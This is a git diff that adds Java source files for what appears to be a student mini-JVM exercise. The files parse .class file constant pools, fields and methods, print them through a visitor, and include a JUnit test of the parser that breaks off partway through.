+++ b/group15/1507_977996067/src/task7/jvm/constant/FieldRefInfo.java
@@ -0,0 +1,65 @@
+package task7.jvm.constant;
+
+import task7.jvm.print.ConstantInfoVisitor;
+
+public class FieldRefInfo extends ConstantInfo {
+    private int type = ConstantInfo.FIELD_INFO;
+    private int classInfoIndex;
+    private int nameAndTypeIndex;
+
+    public FieldRefInfo(ConstantPool pool) {
+        super(pool);
+    }
+
+    public int getType() {
+        return type;
+    }
+
+    @Override
+    public void accept(ConstantInfoVisitor visitor) {
+        visitor.visitFieldRefInfo(this);
+    }
+
+    public int getClassInfoIndex() {
+        return classInfoIndex;
+    }
+
+    public void setClassInfoIndex(int classInfoIndex) {
+        this.classInfoIndex = classInfoIndex;
+    }
+
+    public int getNameAndTypeIndex() {
+        return nameAndTypeIndex;
+    }
+
+    public void setNameAndTypeIndex(int nameAndTypeIndex) {
+        this.nameAndTypeIndex = nameAndTypeIndex;
+    }
+
+    public String toString() {
+
+        NameAndTypeInfo typeInfo = (NameAndTypeInfo) this.getConstantInfo(this.getNameAndTypeIndex());
+
+        return getClassName() + " : " + typeInfo.getName() + ":" + typeInfo.getTypeInfo() + "]";
+    }
+
+    public String getClassName() {
+
+        ClassInfo classInfo = (ClassInfo) this.getConstantInfo(this.getClassInfoIndex());
+
+        UTF8Info utf8Info = (UTF8Info) this.getConstantInfo(classInfo.getUtf8Index());
+
+        return utf8Info.getValue();
+
+    }
+
+    public String getFieldName() {
+        NameAndTypeInfo typeInfo = (NameAndTypeInfo) this.getConstantInfo(this.getNameAndTypeIndex());
+        return typeInfo.getName();
+    }
+
+    public String getFieldType() {
+        NameAndTypeInfo typeInfo = (NameAndTypeInfo) this.getConstantInfo(this.getNameAndTypeIndex());
+        return typeInfo.getTypeInfo();
+    }
+}
diff --git a/group15/1507_977996067/src/task7/jvm/constant/MethodRefInfo.java b/group15/1507_977996067/src/task7/jvm/constant/MethodRefInfo.java
new file mode 100644
index 0000000000..104b798e59
--- /dev/null
+++ b/group15/1507_977996067/src/task7/jvm/constant/MethodRefInfo.java
@@ -0,0 +1,65 @@
+package task7.jvm.constant;
+
+import task7.jvm.print.ConstantInfoVisitor;
+
+public class MethodRefInfo extends ConstantInfo {
+
+    private int type = ConstantInfo.METHOD_INFO;
+
+    private int classInfoIndex;
+    private int nameAndTypeIndex;
+
+    public MethodRefInfo(ConstantPool pool) {
+        super(pool);
+    }
+
+    public int getType() {
+        return type;
+    }
+
+    @Override
+    public void accept(ConstantInfoVisitor visitor) {
+        visitor.visitMethodRefInfo(this);
+    }
+
+    public int getClassInfoIndex() {
+        return classInfoIndex;
+    }
+
+    public void setClassInfoIndex(int classInfoIndex) {
+        this.classInfoIndex = classInfoIndex;
+    }
+
+    public int getNameAndTypeIndex() {
+        return nameAndTypeIndex;
+    }
+
+    public void setNameAndTypeIndex(int nameAndTypeIndex) {
+        this.nameAndTypeIndex = nameAndTypeIndex;
+    }
+
+    public String toString() {
+
+        return getClassName() + " : " + this.getMethodName() + " : " + this.getParamAndReturnType();
+    }
+
+    public String getClassName() {
+        ConstantPool pool = this.getConstantPool();
+        ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(this.getClassInfoIndex());
+        return clzInfo.getClassName();
+    }
+
+    public String getMethodName() {
+        ConstantPool pool = this.getConstantPool();
+        NameAndTypeInfo typeInfo = (NameAndTypeInfo) pool.getConstantInfo(this.getNameAndTypeIndex());
+        return typeInfo.getName();
+    }
+
+    public String getParamAndReturnType() {
+        ConstantPool pool = this.getConstantPool();
+        NameAndTypeInfo typeInfo = (NameAndTypeInfo) pool.getConstantInfo(this.getNameAndTypeIndex());
+        return typeInfo.getTypeInfo();
+    }
+
+
+}
diff --git a/group15/1507_977996067/src/task7/jvm/constant/NameAndTypeInfo.java b/group15/1507_977996067/src/task7/jvm/constant/NameAndTypeInfo.java
new file mode 100644
index 0000000000..18089a2008
--- /dev/null
+++ b/group15/1507_977996067/src/task7/jvm/constant/NameAndTypeInfo.java
@@ -0,0 +1,56 @@
+package task7.jvm.constant;
+
+import task7.jvm.print.ConstantInfoVisitor;
+
+public class NameAndTypeInfo extends ConstantInfo {
+    public int type = ConstantInfo.NAME_AND_TYPE_INFO;
+
+    private int index1;
+    private int index2;
+
+    public NameAndTypeInfo(ConstantPool pool) {
+        super(pool);
+    }
+
+    public int getIndex1() {
+        return index1;
+    }
+
+    public void setIndex1(int index1) {
+        this.index1 = index1;
+    }
+
+    public int getIndex2() {
+        return index2;
+    }
+
+    public void setIndex2(int index2) {
+        this.index2 = index2;
+    }
+
+    public int getType() {
+        return type;
+    }
+
+    @Override
+    public void accept(ConstantInfoVisitor visitor) {
+        visitor.visitNameAndTypeInfo(this);
+    }
+
+
+    public String getName() {
+        ConstantPool pool = this.getConstantPool();
+        UTF8Info utf8Info1 = (UTF8Info) pool.getConstantInfo(index1);
+        return utf8Info1.getValue();
+    }
+
+    public String getTypeInfo() {
+        ConstantPool pool = this.getConstantPool();
+        UTF8Info utf8Info2 = (UTF8Info) pool.getConstantInfo(index2);
+        return utf8Info2.getValue();
+    }
+
+    public String toString() {
+        return "(" + getName() + "," + getTypeInfo() + ")";
+    }
+}
diff --git a/group15/1507_977996067/src/task7/jvm/constant/NullConstantInfo.java b/group15/1507_977996067/src/task7/jvm/constant/NullConstantInfo.java
new file mode 100644
index 0000000000..216b03a449
--- /dev/null
+++ b/group15/1507_977996067/src/task7/jvm/constant/NullConstantInfo.java
@@ -0,0 +1,21 @@
+package task7.jvm.constant;
+
+import task7.jvm.print.ConstantInfoVisitor;
+
+public class NullConstantInfo extends ConstantInfo {
+
+    public NullConstantInfo() {
+
+    }
+
+    @Override
+    public int getType() {
+        return -1;
+    }
+
+    @Override
+    public void accept(ConstantInfoVisitor visitor) {
+        // non impl
+    }
+
+}
diff --git a/group15/1507_977996067/src/task7/jvm/constant/StringInfo.java b/group15/1507_977996067/src/task7/jvm/constant/StringInfo.java
new file mode 100644
index 0000000000..0b601e3adb
--- /dev/null
+++ b/group15/1507_977996067/src/task7/jvm/constant/StringInfo.java
@@ -0,0 +1,35 @@
+package task7.jvm.constant;
+
+import task7.jvm.print.ConstantInfoVisitor;
+
+public class StringInfo extends ConstantInfo {
+    private int type = ConstantInfo.STRING_INFO;
+    private int index;
+
+    public StringInfo(ConstantPool pool) {
+        super(pool);
+    }
+
+    public int getType() {
+        return type;
+    }
+
+    @Override
+    public void accept(ConstantInfoVisitor visitor) {
+        visitor.visitStringInfo(this);
+    }
+
+    public int getIndex() {
+        return index;
+    }
+
+    public void setIndex(int index) {
+        this.index = index;
+    }
+
+
+    public String toString() {
+        return this.getConstantPool().getUTF8String(index);
+    }
+
+}
diff --git a/group15/1507_977996067/src/task7/jvm/constant/UTF8Info.java b/group15/1507_977996067/src/task7/jvm/constant/UTF8Info.java
new file mode 100644
index 0000000000..53686ca0a8
--- /dev/null
+++ b/group15/1507_977996067/src/task7/jvm/constant/UTF8Info.java
@@ -0,0 +1,45 @@
+package task7.jvm.constant;
+
+import task7.jvm.print.ConstantInfoVisitor;
+
+public class UTF8Info extends ConstantInfo {
+    private int type = ConstantInfo.UTF8_INFO;
+    private int length;
+    private String value;
+
+    public UTF8Info(ConstantPool pool) {
+        super(pool);
+    }
+
+    public int getLength() {
+        return length;
+    }
+
+    public void setLength(int length) {
+        this.length = length;
+    }
+
+    public int getType() {
+        return type;
+    }
+
+    @Override
+    public void accept(ConstantInfoVisitor visitor) {
+        visitor.visitUtf8Info(this);
+    }
+
+    @Override
+    public String toString() {
+        return "UTF8Info [type=" + type + ", length=" + length + ", value=" + value + ")]";
+    }
+
+    public String getValue() {
+        return value;
+    }
+
+    public void setValue(String value) {
+        this.value = value;
+    }
+
+
+}
diff --git a/group15/1507_977996067/src/task7/jvm/field/Field.java b/group15/1507_977996067/src/task7/jvm/field/Field.java
new file mode 100644
index 0000000000..989f3316c4
--- /dev/null
+++ b/group15/1507_977996067/src/task7/jvm/field/Field.java
@@ -0,0 +1,48 @@
+package task7.jvm.field;
+
+
+import task7.jvm.constant.ConstantPool;
+import task7.jvm.constant.UTF8Info;
+import task7.jvm.loader.ByteCodeIterator;
+
+public class Field {
+    private int accessFlag;
+    private int nameIndex;
+    private int descriptorIndex;
+
+    private ConstantPool pool;
+
+    public Field(int accessFlag, int nameIndex, int descriptorIndex, ConstantPool pool) {
+
+        this.accessFlag = accessFlag;
+        this.nameIndex = nameIndex;
+        this.descriptorIndex = descriptorIndex;
+        this.pool = pool;
+    }
+
+    public String toString() {
+        String name = ((UTF8Info) pool.getConstantInfo(this.nameIndex)).getValue();
+
+        String desc = ((UTF8Info) pool.getConstantInfo(this.descriptorIndex)).getValue();
+        return name + ":" + desc;
+    }
+
+
+    public static Field parse(ConstantPool pool, ByteCodeIterator iter) {
+
+        int accessFlag = iter.next2Bytes();
+        int nameIndex = iter.next2Bytes();
+        int descIndex = iter.next2Bytes();
+        int attribCount = iter.next2Bytes();
+        //System.out.println("field attribute count:"+ attribCount);
+
+        Field f = new Field(accessFlag, nameIndex, descIndex, pool);
+
+        if (attribCount > 0) {
+            throw new RuntimeException("Field Attribute has not been implemented");
+        }
+
+        return f;
+    }
+
+}
\ No newline at end of file
diff --git a/group15/1507_977996067/src/task7/jvm/loader/ByteCodeIterator.java b/group15/1507_977996067/src/task7/jvm/loader/ByteCodeIterator.java
new file mode 100644
index 0000000000..81c268cdc9
--- /dev/null
+++ b/group15/1507_977996067/src/task7/jvm/loader/ByteCodeIterator.java
@@ -0,0 +1,56 @@
+package task7.jvm.loader;
+
+import task7.jvm.util.Util;
+
+import java.util.Arrays;
+
+public class ByteCodeIterator {
+
+    private int position;
+
+    private byte[] bytes;
+
+    public ByteCodeIterator(byte[] bytes) {
+        this.bytes = bytes;
+    }
+
+    public String getMagicNumber() {
+        position = 0;
+        byte[] bytes = Arrays.copyOf(this.bytes, 4);
+        position += 4;
+        return Util.byteToHexString(bytes);
+    }
+
+    public int next2Bytes() {
+        return nextBytes(2);
+    }
+
+    public int next4Bytes() {
+        return nextBytes(4);
+    }
+
+    public int nextFlag() {
+        return nextBytes(1);
+    }
+
+    public void back(int length) {
+        position -= length;
+    }
+
+    public byte[] getBytes(int length) {
+        byte[] bytes = Arrays.copyOfRange(this.bytes, position, position + length);
+        position += length;
+        return bytes;
+    }
+
+    public String nextUxToHexString(int length) {
+        return new String(getBytes(length));
+    }
+
+    private int nextBytes(int size) {
+        byte[] bytes = Arrays.copyOfRange(this.bytes, position, position + size);
+        position += size;
+        return Util.byteToInt(bytes);
+    }
+
+}
diff --git a/group15/1507_977996067/src/task7/jvm/loader/ClassFileLoader.java b/group15/1507_977996067/src/task7/jvm/loader/ClassFileLoader.java
new file mode 100644
index 0000000000..350d8b92f4
--- /dev/null
+++ b/group15/1507_977996067/src/task7/jvm/loader/ClassFileLoader.java
@@ -0,0 +1,122 @@
+package task7.jvm.loader;
+
+import org.apache.commons.io.IOUtils;
+import org.apache.commons.lang3.StringUtils;
+import task7.jvm.clz.ClassFile;
+
+import java.io.*;
+import java.util.ArrayList;
+import java.util.List;
+
+public class ClassFileLoader {
+
+    private List<String> clzPaths = new ArrayList<String>();
+
+    public byte[] readBinaryCode(String className) {
+
+        className = className.replace('.', File.separatorChar) + ".class";
+
+        for (String path : this.clzPaths) {
+
+            String clzFileName = path + File.separatorChar + className;
+            byte[] codes = loadClassFile(clzFileName);
+            if (codes != null) {
+                return codes;
+            }
+        }
+        return null;
+    }
+
+    private byte[] loadClassFile(String clzFileName) {
+
+        File f = new File(clzFileName);
+
+        try {
+
+            return IOUtils.toByteArray(new FileInputStream(f));
+
+        } catch (IOException e) {
+            e.printStackTrace();
+            return null;
+        }
+    }
+
+
+    public void addClassPath(String path) {
+        if (this.clzPaths.contains(path)) {
+            return;
+        }
+
+        this.clzPaths.add(path);
+
+    }
+
+
+    public String getClassPath() {
+        return StringUtils.join(this.clzPaths, ";");
+    }
+
+    public ClassFile loadClass(String className) {
+        byte[] codes = this.readBinaryCode(className);
+        ClassFileParser parser = new ClassFileParser();
+        return parser.parse(codes);
+
+    }
+
+
+    // ------------------------------backup------------------------
+    public String getClassPath_V1() {
+
+        StringBuffer buffer = new StringBuffer();
+        for (int i = 0; i < this.clzPaths.size(); i++) {
+            buffer.append(this.clzPaths.get(i));
+            if (i < this.clzPaths.size() - 1) {
+                buffer.append(";");
+            }
+        }
+        return buffer.toString();
+    }
+
+    private byte[] loadClassFile_V1(String clzFileName) {
+
+        BufferedInputStream bis = null;
+
+        try {
+
+            File f = new File(clzFileName);
+
+
+            bis = new BufferedInputStream(new FileInputStream(f));
+
+            ByteArrayOutputStream bos = new ByteArrayOutputStream();
+
+
+            byte[] buffer = new byte[1024];
+            int length = -1;
+
+            while ((length = bis.read(buffer)) != -1) {
+                bos.write(buffer, 0, length);
+            }
+
+            byte[] codes = bos.toByteArray();
+
+            return codes;
+
+        } catch (IOException e) {
+            e.printStackTrace();
+
+        } finally {
+            if (bis != null) {
+                try {
+                    bis.close();
+                } catch (IOException e) {
+                    e.printStackTrace();
+                }
+            }
+        }
+        return null;
+
+    }
+
+
+}
\ No newline at end of file
diff --git a/group15/1507_977996067/src/task7/jvm/loader/ClassFileParser.java b/group15/1507_977996067/src/task7/jvm/loader/ClassFileParser.java
new file mode 100644
index 0000000000..eeea785114
--- /dev/null
+++ b/group15/1507_977996067/src/task7/jvm/loader/ClassFileParser.java
@@ -0,0 +1,112 @@
+package task7.jvm.loader;
+
+import task7.jvm.clz.AccessFlag;
+import task7.jvm.clz.ClassFile;
+import task7.jvm.clz.ClassIndex;
+import task7.jvm.constant.*;
+import task7.jvm.field.Field;
+import task7.jvm.method.Method;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class ClassFileParser {
+
+    private ConstantPool constantPool;
+
+    public ClassFile parse(byte[] codes) {
+        ClassFile classFile = new ClassFile();
+        ByteCodeIterator iterator = new ByteCodeIterator(codes);
+        System.out.println(iterator.getMagicNumber());
+
+        classFile.setMinorVersion(iterator.next2Bytes());
+        classFile.setMajorVersion(iterator.next2Bytes());
+
+        parseConstantPool(iterator);
+        classFile.setConstPool(constantPool);
+        classFile.setAccessFlag(parseAccessFlag(iterator));
+        classFile.setClassIndex(parseClassIndex(iterator));//task5 over
+
+        iterator.next2Bytes(); // interface
+
+        classFile.setFields(parseFileds(iterator));
+        classFile.setMethods(parseMethods(classFile, iterator));//task6 over
+        return classFile;
+    }
+
+
+    private AccessFlag parseAccessFlag(ByteCodeIterator iter) {
+        return new AccessFlag(iter.next2Bytes());
+    }
+
+    private ClassIndex parseClassIndex(ByteCodeIterator iter) {
+        ClassIndex clazIndex = new ClassIndex();
+        clazIndex.setThisClassIndex(iter.next2Bytes());
+        clazIndex.setSuperClassIndex(iter.next2Bytes());
+        return clazIndex;
+    }
+
+    private void parseConstantPool(ByteCodeIterator iter) {
+        int poolCount = iter.next2Bytes();
+        ConstantPool pool = new ConstantPool(poolCount);
+        for (int i = 0; i < poolCount; i++) {
+            int tag = iter.nextFlag();
+            if (tag == ConstantInfo.UTF8_INFO) { //utf-8
+                int length = iter.next2Bytes();
+                byte[] bytes = iter.getBytes(length);
+                UTF8Info utf8Info = new UTF8Info(pool);
+                utf8Info.setValue(new String(bytes));
+                utf8Info.setLength(length);
+                pool.addConstantInfo(utf8Info);
+            } else if (tag == ConstantInfo.STRING_INFO) {
+                StringInfo stringInfo = new StringInfo(pool);
+                stringInfo.setIndex(iter.next2Bytes());
+                pool.addConstantInfo(stringInfo);
+            } else if (tag == ConstantInfo.CLASS_INFO) {
+                ClassInfo classInfo = new ClassInfo(pool);
+                classInfo.setUtf8Index(iter.next2Bytes());
+                pool.addConstantInfo(classInfo);
+            } else if (tag == ConstantInfo.FIELD_INFO) {
+                FieldRefInfo fieldRefInfo = new FieldRefInfo(pool);
+                fieldRefInfo.setClassInfoIndex(iter.next2Bytes());
+                fieldRefInfo.setNameAndTypeIndex(iter.next2Bytes());
+                pool.addConstantInfo(fieldRefInfo);
+            } else if (tag == ConstantInfo.METHOD_INFO) {
+                MethodRefInfo methodRefInfo = new MethodRefInfo(pool);
+                methodRefInfo.setClassInfoIndex(iter.next2Bytes());
+                methodRefInfo.setNameAndTypeIndex(iter.next2Bytes());
+                pool.addConstantInfo(methodRefInfo);
+            } else if (tag == ConstantInfo.NAME_AND_TYPE_INFO) {
+                NameAndTypeInfo nameAndTypeInfo = new NameAndTypeInfo(pool);
+                nameAndTypeInfo.setIndex1(iter.next2Bytes());
+                nameAndTypeInfo.setIndex2(iter.next2Bytes());
+                pool.addConstantInfo(nameAndTypeInfo);
+            }
+        }
+        this.constantPool = pool;
+    }
+
+    private List<Field> parseFileds(ByteCodeIterator iter) {
+        int fieldCount = iter.next2Bytes();
+
+        List<Field> fieldList = new ArrayList<>(fieldCount);
+
+        for (int i = 0; i < fieldCount; i++) {
+            Field f = Field.parse(constantPool, iter);
+            fieldList.add(f);
+        }
+        return fieldList;
+    }
+
+    private List<Method> parseMethods(ClassFile classFile, ByteCodeIterator iter) {
+        int methodCount = iter.next2Bytes();
+
+        List<Method> methodList = new ArrayList<>(methodCount);
+
+        for (int i = 0; i < methodCount; i++) {
+            Method m = Method.parse(classFile, iter);
+            methodList.add(m);
+        }
+        return methodList;
+    }
+}
diff --git a/group15/1507_977996067/src/task7/jvm/method/Method.java b/group15/1507_977996067/src/task7/jvm/method/Method.java
new file mode 100644
index 0000000000..13643df703
--- /dev/null
+++ b/group15/1507_977996067/src/task7/jvm/method/Method.java
@@ -0,0 +1,91 @@
+package task7.jvm.method;
+
+import task7.jvm.attr.AttributeInfo;
+import task7.jvm.attr.CodeAttr;
+import task7.jvm.clz.ClassFile;
+import task7.jvm.constant.ConstantPool;
+import task7.jvm.constant.UTF8Info;
+import task7.jvm.loader.ByteCodeIterator;
+
+public class Method {
+    private int accessFlag;
+    private int nameIndex;
+    private int descriptorIndex;
+
+    private CodeAttr codeAttr;
+
+    private ClassFile clzFile;
+
+
+    public ClassFile getClzFile() {
+        return clzFile;
+    }
+
+    public int getNameIndex() {
+        return nameIndex;
+    }
+
+    public int getDescriptorIndex() {
+        return descriptorIndex;
+    }
+
+    public CodeAttr getCodeAttr() {
+        return codeAttr;
+    }
+
+    public void setCodeAttr(CodeAttr code) {
+        this.codeAttr = code;
+    }
+
+    public Method(ClassFile clzFile, int accessFlag, int nameIndex, int descriptorIndex) {
+        this.clzFile = clzFile;
+        this.accessFlag = accessFlag;
+        this.nameIndex = nameIndex;
+        this.descriptorIndex = descriptorIndex;
+    }
+
+
+    public String toString() {
+
+        ConstantPool pool = this.clzFile.getConstantPool();
+        StringBuilder buffer = new StringBuilder();
+
+        String name = ((UTF8Info) pool.getConstantInfo(this.nameIndex)).getValue();
+
+        String desc = ((UTF8Info) pool.getConstantInfo(this.descriptorIndex)).getValue();
+
+        buffer.append(name).append(":").append(desc).append("\n");
+
+        buffer.append(this.codeAttr.toString(pool));
+
+        return buffer.toString();
+    }
+
+    public static Method parse(ClassFile clzFile, ByteCodeIterator iter) {
+        int accessFlag = iter.next2Bytes();
+        int nameIndex = iter.next2Bytes();
+        int descIndex = iter.next2Bytes();
+        int attribCount = iter.next2Bytes();
+
+
+        Method m = new Method(clzFile, accessFlag, nameIndex, descIndex);
+
+        for (int j = 1; j <= attribCount; j++) {
+
+            int attrNameIndex = iter.next2Bytes();
+            String attrName = clzFile.getConstantPool().getUTF8String(attrNameIndex);
+            iter.back(2);
+
+            if (AttributeInfo.CODE.equalsIgnoreCase(attrName)) {
+                CodeAttr codeAttr = CodeAttr.parse(clzFile, iter);
+                m.setCodeAttr(codeAttr);
+            } else {
+                throw new RuntimeException("only CODE attribute is implemented , please implement the " + attrName);
+            }
+
+        }
+
+        return m;
+
+    }
+}
diff --git a/group15/1507_977996067/src/task7/jvm/print/ClassFilePrinter.java b/group15/1507_977996067/src/task7/jvm/print/ClassFilePrinter.java
new file mode 100644
index 0000000000..3f4607a044
--- /dev/null
+++ b/group15/1507_977996067/src/task7/jvm/print/ClassFilePrinter.java
@@ -0,0 +1,44 @@
+package task7.jvm.print;
+
+import task7.jvm.clz.ClassFile;
+import task7.jvm.loader.ClassFileLoader;
+
+public class ClassFilePrinter {
+    ClassFile clzFile = null;
+
+    public ClassFilePrinter(ClassFile clzFile) {
+        this.clzFile = clzFile;
+    }
+
+    public void print() {
+
+        if (clzFile.getAccessFlag().isPublicClass()) {
+            System.out.println("Access flag : public  ");
+        }
+        System.out.println("Class Name:" + clzFile.getClassName());
+
+        System.out.println("Super Class Name:" + clzFile.getSuperClassName());
+
+        System.out.println("minor version:" + clzFile.getMinorVersion());
+
+        System.out.println("major version:" + clzFile.getMinorVersion());
+
+        ConstantPoolPrinter cnstPoolPrinter = new ConstantPoolPrinter(clzFile.getConstantPool());
+        cnstPoolPrinter.print();
+
+
+    }
+
+    public static void main(String[] args) {
+        String path = "C:\\Users\\liuxin\\git\\coding2017\\liuxin\\mini-jvm\\bin";
+        ClassFileLoader loader = new ClassFileLoader();
+        loader.addClassPath(path);
+        String className = "com.coderising.jvm.test.EmployeeV1";
+
+        ClassFile clzFile = loader.loadClass(className);
+
+        ClassFilePrinter printer = new ClassFilePrinter(clzFile);
+
+        printer.print();
+    }
+}
diff --git a/group15/1507_977996067/src/task7/jvm/print/ConstantInfoVisitor.java b/group15/1507_977996067/src/task7/jvm/print/ConstantInfoVisitor.java
new file mode 100644
index 0000000000..40851fc1bf
--- /dev/null
+++ b/group15/1507_977996067/src/task7/jvm/print/ConstantInfoVisitor.java
@@ -0,0 +1,18 @@
+package task7.jvm.print;
+
+import task7.jvm.constant.*;
+
+public interface ConstantInfoVisitor {
+
+    void visitClassInfo(ClassInfo classInfo);
+
+    void visitFieldRefInfo(FieldRefInfo fieldRefInfo);
+
+    void visitMethodRefInfo(MethodRefInfo methodRefInfo);
+
+    void visitNameAndTypeInfo(NameAndTypeInfo nameAndTypeInfo);
+
+    void visitStringInfo(StringInfo stringInfo);
+
+    void visitUtf8Info(UTF8Info utf8Info);
+}
diff --git a/group15/1507_977996067/src/task7/jvm/print/ConstantInfoVisitorImpl.java b/group15/1507_977996067/src/task7/jvm/print/ConstantInfoVisitorImpl.java
new file mode 100644
index 0000000000..776d23bc79
--- /dev/null
+++ b/group15/1507_977996067/src/task7/jvm/print/ConstantInfoVisitorImpl.java
@@ -0,0 +1,51 @@
+package task7.jvm.print;
+
+import task7.jvm.constant.*;
+
+public class ConstantInfoVisitorImpl implements ConstantInfoVisitor {
+    @Override
+    public void visitClassInfo(ClassInfo classInfo) {
+        StringBuilder sb = new StringBuilder();
+        sb.append("Class\t#").append(classInfo.getUtf8Index()).append("\t").append(classInfo.getClassName());
+        System.out.println(sb);
+    }
+
+    @Override
+    public void visitFieldRefInfo(FieldRefInfo fieldRefInfo) {
+        StringBuilder sb = new StringBuilder();
+        sb.append("FieldRef\t#").append(fieldRefInfo.getClassInfoIndex()).append("\t").append(fieldRefInfo.getFieldName());
+        System.out.println(sb);
+
+    }
+
+    @Override
+    public void visitMethodRefInfo(MethodRefInfo methodRefInfo) {
+        StringBuilder sb = new StringBuilder();
+        sb.append("MethodRef\t#").append(methodRefInfo.getMethodName());
+        System.out.println(sb);
+    }
+
+    @Override
+    public void visitNameAndTypeInfo(NameAndTypeInfo nameAndTypeInfo) {
+        StringBuilder sb = new StringBuilder();
+        sb.append("NameAndType\t#").append(nameAndTypeInfo.getName()).append("\t")
+                .append(nameAndTypeInfo.getIndex1()).append("\t")
+                .append(nameAndTypeInfo.getIndex2()).append("\t")
+                .append(nameAndTypeInfo.getTypeInfo());
+        System.out.println(sb);
+    }
+
+    @Override
+    public void visitStringInfo(StringInfo stringInfo) {
+        StringBuilder sb = new StringBuilder();
+        sb.append("String\t#").append(stringInfo.getIndex());
+        System.out.println(sb);
+    }
+
+    @Override
+    public void visitUtf8Info(UTF8Info utf8Info) {
+        StringBuilder sb = new StringBuilder();
+        sb.append("UTF8\t#").append(utf8Info.getValue());
+        System.out.println(sb);
+    }
+}
diff --git a/group15/1507_977996067/src/task7/jvm/print/ConstantPoolPrinter.java b/group15/1507_977996067/src/task7/jvm/print/ConstantPoolPrinter.java
new file mode 100644
index 0000000000..d6e87cad83
--- /dev/null
+++ b/group15/1507_977996067/src/task7/jvm/print/ConstantPoolPrinter.java
@@ -0,0 +1,26 @@
+package task7.jvm.print;
+
+import task7.jvm.constant.ConstantInfo;
+import task7.jvm.constant.ConstantPool;
+
+public class ConstantPoolPrinter {
+
+    private ConstantPool pool;
+
+    ConstantPoolPrinter(ConstantPool pool) {
+        this.pool = pool;
+    }
+
+    public void print() {
+
+        System.out.println("Constant Pool:");
+
+        ConstantInfoVisitor visitor = new ConstantInfoVisitorImpl();
+        int size = (int) pool.getSize();
+        for (int i = 0; i < size; i++) {
+            System.out.print("#" + i + "= ");
+            ConstantInfo constantInfo = pool.getConstantInfo(i);
+            constantInfo.accept(visitor);
+        }
+    }
+}
diff --git a/group15/1507_977996067/src/task7/jvm/test/ClassFileloaderTest.java b/group15/1507_977996067/src/task7/jvm/test/ClassFileloaderTest.java
new file mode 100644
index 0000000000..53bea9b04e
--- /dev/null
+++ b/group15/1507_977996067/src/task7/jvm/test/ClassFileloaderTest.java
@@ -0,0 +1,191 @@
+package task7.jvm.test;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+import task7.jvm.clz.ClassFile;
+import task7.jvm.clz.ClassIndex;
+import task7.jvm.constant.*;
+import task7.jvm.loader.ClassFileLoader;
+
+public class ClassFileloaderTest {
+
+
+    private static final String FULL_QUALIFIED_CLASS_NAME = "EmployeeV1";
+
+    static String path1 = "E:\\Idea\\coding2017\\group15\\1507_977996067\\out\\task5\\jvm\\test";
+    static String path2 = "C:\temp";
+
+    static ClassFile clzFile = null;
+    static {
+        ClassFileLoader loader = new ClassFileLoader();
+        loader.addClassPath(path1);
+        String className = "EmployeeV1";
+
+        clzFile = loader.loadClass(className);
+//        clzFile.print();
+    }
+
+
+    @Before
+    public void setUp() throws Exception {
+    }
+
+    @After
+    public void tearDown() throws Exception {
+    }
+
+    @Test
+    public void testClassPath() {
+
+        ClassFileLoader loader = new ClassFileLoader();
+        loader.addClassPath(path1);
+        loader.addClassPath(path2);
+
+        String clzPath = loader.getClassPath();
+
+        Assert.assertEquals(path1 + ";" + path2, clzPath);
+
+    }
+
+    @Test
+    public void testClassFileLength() {
+
+        ClassFileLoader loader = new ClassFileLoader();
+        loader.addClassPath(path1);
+
+        String className = "EmployeeV1";
+
+        byte[] byteCodes = loader.readBinaryCode(className);
+
+        // 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
+        Assert.assertEquals(1038, byteCodes.length);
+
+    }
+
+
+    @Test
+    public void testMagicNumber() {
+        ClassFileLoader loader = new ClassFileLoader();
+        loader.addClassPath(path1);
+        String className = "EmployeeV1";
+        byte[] byteCodes = loader.readBinaryCode(className);
+        byte[] codes = new byte[]{byteCodes[0], byteCodes[1], byteCodes[2], byteCodes[3]};
+
+        String actualValue = this.byteToHexString(codes);
+
+        Assert.assertEquals("cafebabe", actualValue);
+    }
+
+
+    private String byteToHexString(byte[] codes) {
+        StringBuffer buffer = new StringBuffer();
+        for (int i = 0; i < codes.length; i++) {
+            byte b = codes[i];
+            int value = b & 0xFF;
+            String strHex = Integer.toHexString(value);
+            if (strHex.length() < 2) {
+                strHex = "0" + strHex;
+            }
+            buffer.append(strHex);
+        }
+        return buffer.toString();
+    }
+
+    /**
+     * ----------------------------------------------------------------------
+     */
+
+
+    @Test
+    public void testVersion() {
+
+        Assert.assertEquals(0, clzFile.getMinorVersion());
+        Assert.assertEquals(52, clzFile.getMajorVersion());
+
+    }
+
+    @Test
+    public void testConstantPool() {
+
+
+        ConstantPool pool = clzFile.getConstantPool();
+
+        Assert.assertEquals(53, pool.getSize());
+
+        {
+            ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(1);
+            Assert.assertEquals(2, clzInfo.getUtf8Index());
+
+            UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(2);
+            Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, utf8Info.getValue());
+        }
+        {
+            ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(3);
+            Assert.assertEquals(4, clzInfo.getUtf8Index());
+
+            UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(4);
+            Assert.assertEquals("java/lang/Object", utf8Info.getValue());
+        }
+        {
+            UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(5);
+            Assert.assertEquals("name", utf8Info.getValue());
+
+            utf8Info = (UTF8Info) pool.getConstantInfo(6);
+            Assert.assertEquals("Ljava/lang/String;", utf8Info.getValue());
+
+            utf8Info = (UTF8Info) pool.getConstantInfo(7);
+            Assert.assertEquals("age", utf8Info.getValue());
+
+            utf8Info = (UTF8Info) pool.getConstantInfo(8);
+            Assert.assertEquals("I", utf8Info.getValue());
+
+            utf8Info = (UTF8Info) pool.getConstantInfo(9);
+            Assert.assertEquals("<init>", utf8Info.getValue());
+
+            utf8Info = (UTF8Info) pool.getConstantInfo(10);
+            Assert.assertEquals("(Ljava/lang/String;I)V", utf8Info.getValue());
+
+            utf8Info = (UTF8Info) pool.getConstantInfo(11);
+            Assert.assertEquals("Code", utf8Info.getValue());
+        }
+
+        {
+            MethodRefInfo methodRef = (MethodRefInfo) pool.getConstantInfo(12);
+            Assert.assertEquals(3, methodRef.getClassInfoIndex());
+            Assert.assertEquals(13, methodRef.getNameAndTypeIndex());
+        }
+
+        {
+            NameAndTypeInfo nameAndType = (NameAndTypeInfo) pool.getConstantInfo(13);
+            Assert.assertEquals(9, nameAndType.getIndex1());
